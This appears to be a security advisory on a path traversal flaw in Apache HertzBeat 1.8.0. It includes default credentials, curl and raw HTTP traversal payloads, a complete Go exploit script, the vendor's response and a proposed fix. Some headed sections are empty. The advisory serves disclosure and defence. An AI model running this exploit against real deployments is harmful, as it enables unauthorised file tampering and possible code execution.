Apache HertzBeat (v1.8.0) Path Traversal Leading to RCE

Severity: HIGH
CWE: CWE-22 (Improper Limitation of a Pathname to a Restricted Directory)
Product: https://hertzbeat.apache.org/ (v1.8.0)
Affected Component: AppServiceImpl.LocalFileAppDefineStoreImpl
Affected Endpoints:
    - GET /api/apps/{app}/define/yml (read)
    - POST /api/apps/define/yml (write)
    - PUT /api/apps/define/yml (write/overwrite)
    - DELETE /api/apps/{app}/define/yml (delete)
Auth Required: admin or standard user role (standard user can exploit; admin needed for cleanup)
    - Default credentials in sureness.yml: admin / hertzbeat

Author: Brett Gervasoni
Date: 2026-03-09


Vulnerability Summary

The app parameter is used directly in file path construction with zero sanitization for path traversal characters (../). An authenticated attacker can read, write, or delete arbitrary .yml files anywhere on the filesystem.

The included exploit code automates the proof of concept in Docker, automating the multi-step exploitation process. Manual steps are also documented below.

This vulnerability can lead to RCE.


Vulnerable Code

AppServiceImpl.java lines 661-664loadAppDefine() (read path):

public String loadAppDefine(String app) {
    var classpath = Objects.requireNonNull(this.getClass().getClassLoader().getResource("")).getPath();
    var defineAppPath = classpath + "define" + File.separator + "app-" + app + ".yml";
    var defineAppFile = new File(defineAppPath);
    if (defineAppFile.exists() && defineAppFile.isFile()) {
        return FileUtils.readFileToString(defineAppFile, StandardCharsets.UTF_8);
    }
    return null;
}

AppServiceImpl.java line 679save() (write path):

public void save(String app, String ymlContent) {
    var classpath = Objects.requireNonNull(this.getClass().getClassLoader().getResource("")).getPath();
    var defineAppPath = classpath + "define" + File.separator + "app-" + app + ".yml";
    var defineAppFile = new File(defineAppPath);
    FileUtils.writeStringToFile(defineAppFile, ymlContent, StandardCharsets.UTF_8, false);
}

AppServiceImpl.java line 692delete() (delete path):

public void delete(String app) {
    var classpath = Objects.requireNonNull(this.getClass().getClassLoader().getResource("")).getPath();
    var defineAppPath = classpath + "define" + File.separator + "app-" + app + ".yml";
    var defineAppFile = new File(defineAppPath);
    if (defineAppFile.exists() && defineAppFile.isFile()) {
        defineAppFile.delete();
    }
}

The controller passes the value through with no validation:

AppController.java lines 100-101 (GET):

@GetMapping(path = "/{app}/define/yml")
public ResponseEntity<Message<String>> queryAppDefineYml(
        @PathVariable("app") final String app) {
    return ResponseUtil.handle(() -> appService.getMonitorDefineFileContent(app));
}

AppController.java lines 111-121 (POST — app extracted from YAML body):

@PostMapping(path = "/define/yml")
public ResponseEntity<Message<Void>> newAppDefineYml(@Valid @RequestBody MonitorDefineDto defineDto) {
    return ResponseUtil.handle(() -> {
        // ...risky token check (does NOT check for ../)...
        appService.applyMonitorDefineYml(defineDto.getDefine(), false);
    });
}

In applyMonitorDefineYml(), the app name comes from the YAML body itself:

Job app = yaml.loadAs(ymlContent, Job.class);
appDefineStore.save(app.getApp(), ymlContent);  // app.getApp() is attacker-controlled

Authentication Requirements

From sureness.yml:

A standard user is able to exploit this vulnerability. They are not able to successfully clean up (e.g., switch storage back) without admin privileges.


Constraints


Exploit Scenarios

RCE avenues for this vulnerability exist (outside of the Script Collection bug):


Proof of Concept

See poc_path_traversal.go for the automated exploit script.

Prerequisites

The default HertzBeat deployment uses DatabaseAppDefineStoreImpl, which stores definitions in the database (no filesystem writes). The vulnerable LocalFileAppDefineStoreImpl is activated when the object store type is set to FILE. An admin can switch this via the config API (Step 2 below).

Classpath layout inside the Docker container (apache/hertzbeat):

/opt/hertzbeat/
├── config/
│   ├── application.yml      ← database credentials, Spring config
│   ├── sureness.yml          ← admin credentials in plaintext
│   └── logback-spring.xml
├── define/
│   ├── app-api.yml           ← monitoring type definitions
│   ├── app-mysql.yml
│   └── ...
└── apache-hertzbeat-1.8.0.jar

Step 1 — Authenticate (obtain JWT token)

curl:

TOKEN=$(curl -s -X POST http://TARGET:1157/api/account/auth/form \
  -H 'Content-Type: application/json' \
  -d '{"type":1,"identifier":"admin","credential":"hertzbeat"}' \
  | python3 -c "import sys,json; print(json.load(sys.stdin)['data']['token'])")
echo "Token: $TOKEN"

Raw HTTP Request:

POST /api/account/auth/form HTTP/1.1
Host: TARGET:1157
Content-Type: application/json
Content-Length: 65

{"type":1,"identifier":"admin","credential":"hertzbeat"}

Step 2 — Switch object store to FILE mode

The default store is DatabaseAppDefineStoreImpl (saves to DB, no filesystem writes). To activate the vulnerable LocalFileAppDefineStoreImpl, switch the object store type to FILE via the config API.

curl:

curl -s -X POST http://TARGET:1157/api/config/oss \
  -H 'Content-Type: application/json' \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"type":"FILE"}'

Raw HTTP Request:

POST /api/config/oss HTTP/1.1
Host: TARGET:1157
Authorization: Bearer eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9...<SNIPPED>
Content-Type: application/json
Content-Length: 15

{"type":"FILE"}

Expected Response:

HTTP/1.1 200 OK
Content-Type: application/json

{"code":0,"msg":"Update config success","data":"Update config success"}

Step 3 — Write attack via PUT (two-step)

The app field is extracted from the YAML request body (not the URL), so there are no URL encoding restrictions. We use PUT (modify) rather than POST (create) because PUT calls applyMonitorDefineYml(define, true) which skips the "already exists" check, making the exploit idempotent and re-runnable.

Step 3a — Create the app-x/ directory (prerequisite)

The app- prefix is always prepended to the user input, making naive ../../ traversal fail (the OS sees app-.. as a literal directory name). To bypass this, we first create a real app-x/ directory inside define/ by submitting a YAML with app: "x/y". Apache Commons IO's FileUtils.writeStringToFile() internally calls mkdirs() on the parent, creating the app-x/ directory.

curl:

curl -s -X PUT http://TARGET:1157/api/apps/define/yml \
  -H 'Content-Type: application/json' \
  -H "Authorization: Bearer $TOKEN" \
  -d '{
    "define": "app: x/y\ncategory: custom\nname:\n  en: PoC Stage1\n  zh-CN: PoC\nparams:\n  - field: host\n    name:\n      en: Host\n      zh-CN: Host\n    type: text\n    required: true\nmetrics:\n  - name: basic\n    priority: 0\n    fields:\n      - field: status\n        type: 1\n    protocol: http\n    http:\n      host: ^_^host^_^\n      port: 80\n      url: /\n      method: GET\n      parseType: default"
  }'

Raw HTTP Request:

PUT /api/apps/define/yml HTTP/1.1
Host: TARGET:1157
Authorization: Bearer eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9...<SNIPPED>
Content-Type: application/json
Content-Length: 410

{
  "define": "app: x/y\ncategory: custom\nname:\n  en: PoC Stage1\n  zh-CN: PoC\nparams:\n  - field: host\n    name:\n      en: Host\n      zh-CN: Host\n    type: text\n    required: true\nmetrics:\n  - name: basic\n    priority: 0\n    fields:\n      - field: status\n        type: 1\n    protocol: http\n    http:\n      host: ^_^host^_^\n      port: 80\n      url: /\n      method: GET\n      parseType: default"
}

Decoded define value (the YAML that gets parsed server-side):

app: x/y
category: custom
name:
  en: PoC Stage1
  zh-CN: PoC
params:
  - field: host
    name:
      en: Host
      zh-CN: Host
    type: text
    required: true
metrics:
  - name: basic
    priority: 0
    fields:
      - field: status
        type: 1
    protocol: http
    http:
      host: ^_^host^_^
      port: 80
      url: /
      method: GET
      parseType: default

What happens on disk:

Created:  <classpath>/define/app-x/         ← directory created by mkdirs()
Written:  <classpath>/define/app-x/y.yml    ← file written by writeStringToFile()

Expected Response:

HTTP/1.1 200 OK
Content-Type: application/json

{"code":0,"msg":null,"data":null}

Step 3b — Write a file outside define/ via traversal

Now that the app-x/ directory exists, we submit a YAML where the app field traverses out of define/ through it. The target is the config/ directory (next to sureness.yml and application.yml):

app: x/../../config/poc-traversal-proof
→ path: /opt/hertzbeat/define/app-x/../../config/poc-traversal-proof.yml
→ resolves to: /opt/hertzbeat/config/poc-traversal-proof.yml  (OUTSIDE define/)

curl:

curl -s -X PUT http://TARGET:1157/api/apps/define/yml \
  -H 'Content-Type: application/json' \
  -H "Authorization: Bearer $TOKEN" \
  -d '{
    "define": "app: x/../../config/poc-traversal-proof\ncategory: custom\nname:\n  en: PoC Traversal Proof\n  zh-CN: PoC\nparams:\n  - field: host\n    name:\n      en: Host\n      zh-CN: Host\n    type: text\n    required: true\nmetrics:\n  - name: basic\n    priority: 0\n    fields:\n      - field: status\n        type: 1\n    protocol: http\n    http:\n      host: ^_^host^_^\n      port: 80\n      url: /\n      method: GET\n      parseType: default"
  }'

Raw HTTP Request:

PUT /api/apps/define/yml HTTP/1.1
Host: TARGET:1157
Authorization: Bearer eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9...<SNIPPED>
Content-Type: application/json
Content-Length: 462

{
  "define": "app: x/../../config/poc-traversal-proof\ncategory: custom\nname:\n  en: PoC Traversal Proof\n  zh-CN: PoC\nparams:\n  - field: host\n    name:\n      en: Host\n      zh-CN: Host\n    type: text\n    required: true\nmetrics:\n  - name: basic\n    priority: 0\n    fields:\n      - field: status\n        type: 1\n    protocol: http\n    http:\n      host: ^_^host^_^\n      port: 80\n      url: /\n      method: GET\n      parseType: default"
}

Decoded define value (the YAML that gets parsed server-side):

app: x/../../config/poc-traversal-proof
category: custom
name:
  en: PoC Traversal Proof
  zh-CN: PoC
params:
  - field: host
    name:
      en: Host
      zh-CN: Host
    type: text
    required: true
metrics:
  - name: basic
    priority: 0
    fields:
      - field: status
        type: 1
    protocol: http
    http:
      host: ^_^host^_^
      port: 80
      url: /
      method: GET
      parseType: default

What happens on disk:

Intended:  /opt/hertzbeat/define/app-x/../../config/poc-traversal-proof.yml
Resolved:  /opt/hertzbeat/config/poc-traversal-proof.yml   ← FILE WRITTEN OUTSIDE define/

Expected Response:

HTTP/1.1 200 OK
Content-Type: application/json

{"code":0,"msg":null,"data":null}

Step 4 — Verify on the server

docker exec hertzbeat ls -la /opt/hertzbeat/config/
docker exec hertzbeat cat /opt/hertzbeat/config/poc-traversal-proof.yml

Confirmed output from running the PoC:

$ docker exec hertzbeat ls -la /opt/hertzbeat/config/
total 44
drwxr-xr-x 1 root root    4096 Feb 15 14:29 .
drwxr-xr-x 1 root root    4096 Feb 15 14:25 ..
-rw-r--r-- 1  501 dialout 8688 Dec 16 23:55 application.yml
-rw-r--r-- 1  501 dialout 7949 Dec 16 23:55 logback-spring.xml
-rw-r--r-- 1 root root     433 Feb 15 14:29 poc-traversal-proof.yml    ← WRITTEN BY PoC
-rw-r--r-- 1  501 dialout 4735 Feb 15 10:31 sureness.yml

The file poc-traversal-proof.yml was written to /opt/hertzbeat/config/, next to sureness.yml and application.yml, confirming arbitrary .yml file write outside the intended define/ directory.


Exploit Code

This targets a default instance running in Docker, using the admin user. A standard non-admin user can be used as well.

Full source of poc_path_traversal.go:

package main

import (
	"bytes"
	"encoding/json"
	"fmt"
	"io"
	"net/http"
	"os"
	"os/exec"
	"strings"
)

const target = "http://localhost:1157"

type authResponse struct {
	Code int `json:"code"`
	Data struct {
		Token string `json:"token"`
	} `json:"data"`
}

type apiResponse struct {
	Code int    `json:"code"`
	Msg  string `json:"msg"`
}

func main() {
	fmt.Println("============================================================")
	fmt.Println(" HertzBeat Path Traversal PoC")
	fmt.Println("============================================================\n")

	// Step 1: Authenticate
	fmt.Println("[*] Step 1 — Authenticating as admin...")
	token, err := authenticate()
	if err != nil {
		fmt.Fprintf(os.Stderr, "[-] Auth failed: %v\n", err)
		os.Exit(1)
	}
	fmt.Printf("[+] Got token: %s...\n\n", token[:40])

	// Step 2: Switch storage to FILE mode to activate LocalFileAppDefineStoreImpl
	fmt.Println("[*] Step 2 — Switching object store to FILE mode...")
	fmt.Println("    POST /api/config/oss with {\"type\":\"FILE\"}")
	fmt.Println("    This activates LocalFileAppDefineStoreImpl (filesystem-based store)")
	err = switchToFileStore(token)
	if err != nil {
		fmt.Fprintf(os.Stderr, "[-] Failed to switch store: %v\n", err)
		os.Exit(1)
	}
	fmt.Println("[+] Object store switched to FILE mode.\n")

	// Step 3: Create app-x/ directory via PUT with app: "x/y"
	fmt.Println("[*] Step 3 — Creating app-x/ directory inside define/...")
	fmt.Println("    PUT /api/apps/define/yml with app: \"x/y\"")
	fmt.Println("    FileUtils.writeStringToFile() calls mkdirs(), creating app-x/")
	err = putDefine(token, makeJobYAML("x/y", "PoC DirSetup"))
	if err != nil {
		fmt.Fprintf(os.Stderr, "[-] Failed: %v\n", err)
		os.Exit(1)
	}
	fmt.Println("[+] Done.\n")

	// Step 4: Write file outside define/ via path traversal
	traversalApp := "x/../../config/poc-traversal-proof"
	fmt.Println("[*] Step 4 — Writing file OUTSIDE define/ via traversal...")
	fmt.Printf("    app name: %q\n", traversalApp)
	fmt.Println("    Resolved: /opt/hertzbeat/config/poc-traversal-proof.yml")
	err = putDefine(token, makeJobYAML(traversalApp, "PoC Traversal Proof"))
	if err != nil {
		fmt.Fprintf(os.Stderr, "[-] Failed: %v\n", err)
		os.Exit(1)
	}
	fmt.Println("[+] Write request succeeded.\n")

	// Step 5: Verify via docker exec
	fmt.Println("[*] Step 5 — Verifying file on container...")
	verify()

	// Cleanup: switch back to DATABASE mode
	fmt.Println("\n[*] Cleanup — Switching object store back to DATABASE mode...")
	err = switchToDatabaseStore(token)
	if err != nil {
		fmt.Fprintf(os.Stderr, "[!] Warning: failed to restore DATABASE mode: %v\n", err)
	} else {
		fmt.Println("[+] Restored DATABASE mode.")
	}
}

func authenticate() (string, error) {
	body := `{"type":1,"identifier":"operator","credential":"hertzbeat"}`
	resp, err := http.Post(target+"/api/account/auth/form", "application/json", bytes.NewBufferString(body))
	if err != nil {
		return "", err
	}
	defer resp.Body.Close()
	var result authResponse
	if err := json.NewDecoder(resp.Body).Decode(&result); err != nil {
		return "", err
	}
	if result.Code != 0 || result.Data.Token == "" {
		return "", fmt.Errorf("unexpected response code %d", result.Code)
	}
	return result.Data.Token, nil
}

func switchToFileStore(token string) error {
	return postConfig(token, `{"type":"FILE"}`)
}

func switchToDatabaseStore(token string) error {
	return postConfig(token, `{"type":"DATABASE"}`)
}

func postConfig(token, body string) error {
	req, _ := http.NewRequest("POST", target+"/api/config/oss", bytes.NewBufferString(body))
	req.Header.Set("Content-Type", "application/json")
	req.Header.Set("Authorization", "Bearer "+token)
	resp, err := http.DefaultClient.Do(req)
	if err != nil {
		return err
	}
	defer resp.Body.Close()
	respBody, _ := io.ReadAll(resp.Body)
	var result apiResponse
	if err := json.Unmarshal(respBody, &result); err != nil {
		return fmt.Errorf("HTTP %d: %s", resp.StatusCode, string(respBody))
	}
	if result.Code != 0 {
		return fmt.Errorf("API error (code %d): %s", result.Code, result.Msg)
	}
	return nil
}

func makeJobYAML(appName, label string) string {
	return fmt.Sprintf(`app: %s
category: custom
name:
  en: %s
  zh-CN: %s
params:
  - field: host
    name:
      en: Host
      zh-CN: Host
    type: text
    required: true
metrics:
  - name: basic
    priority: 0
    fields:
      - field: status
        type: 1
    protocol: http
    http:
      host: ^_^host^_^
      port: 80
      url: /
      method: GET
      parseType: default
`, appName, label, label)
}

func putDefine(token, yamlContent string) error {
	return sendDefine("PUT", token, yamlContent)
}

func sendDefine(method, token, yamlContent string) error {
	payload, _ := json.Marshal(map[string]string{"define": yamlContent})
	req, _ := http.NewRequest(method, target+"/api/apps/define/yml", bytes.NewBuffer(payload))
	req.Header.Set("Content-Type", "application/json")
	req.Header.Set("Authorization", "Bearer "+token)
	resp, err := http.DefaultClient.Do(req)
	if err != nil {
		return err
	}
	defer resp.Body.Close()
	respBody, _ := io.ReadAll(resp.Body)
	var result apiResponse
	if err := json.Unmarshal(respBody, &result); err != nil {
		return fmt.Errorf("HTTP %d: %s", resp.StatusCode, string(respBody))
	}
	if result.Code != 0 {
		return fmt.Errorf("API error (code %d): %s", result.Code, result.Msg)
	}
	return nil
}

func verify() {
	cmds := []struct {
		desc string
		args []string
	}{
		{"Listing /opt/hertzbeat/config/", []string{"docker", "exec", "hertzbeat", "ls", "-la", "/opt/hertzbeat/config/"}},
		{"Reading poc file", []string{"docker", "exec", "hertzbeat", "cat", "/opt/hertzbeat/config/poc-traversal-proof.yml"}},
	}
	for _, c := range cmds {
		fmt.Printf("    $ %s\n", strings.Join(c.args, " "))
		out, err := exec.Command(c.args[0], c.args[1:]...).CombinedOutput()
		if err != nil {
			fmt.Printf("    [!] %v\n", err)
		}
		for _, line := range strings.Split(strings.TrimSpace(string(out)), "\n") {
			fmt.Printf("    %s\n", line)
		}
		fmt.Println()
	}
}

Response from Apache

Official response from Apache Security Team:

As documented in HertzBeat's security model at https://hertzbeat.apache.org/docs/help/security_model, this is expected, intended functionality: it is up to the operator to make sure only trusted users are given access to HertzBeat. Customization is a feature, and users are responsible for their own custom templates. It's expected that any authenticated user is trusted with admin capabilities.

The permission model in HertzBeat has not been finished yet, though the product has shipped. See the HertzBeat Security Model documentation for details.

This is what Apache had to say about role-based permissions:

Please note that the role permission function is being improved, please do not use roles to control user permissions, all users have management permissions

Reporting Timeline


Unofficial Recommended Fix

Add input validation to reject path traversal characters in the app parameter. Apply this in AppServiceImpl or as a shared utility before any file operation:

private static final Pattern SAFE_APP_NAME = Pattern.compile("^[a-zA-Z0-9_-]+$");

private void validateAppName(String app) {
    if (app == null || !SAFE_APP_NAME.matcher(app).matches()) {
        throw new IllegalArgumentException("Invalid app name: " + app);
    }
}

Additionally, use canonical path validation:

File defineAppFile = new File(defineAppPath).getCanonicalFile();
File defineDir = new File(classpath + "define").getCanonicalFile();
if (!defineAppFile.toPath().startsWith(defineDir.toPath())) {
    throw new SecurityException("Path traversal detected");
}

Both checks should be applied in loadAppDefine(), save(), and delete().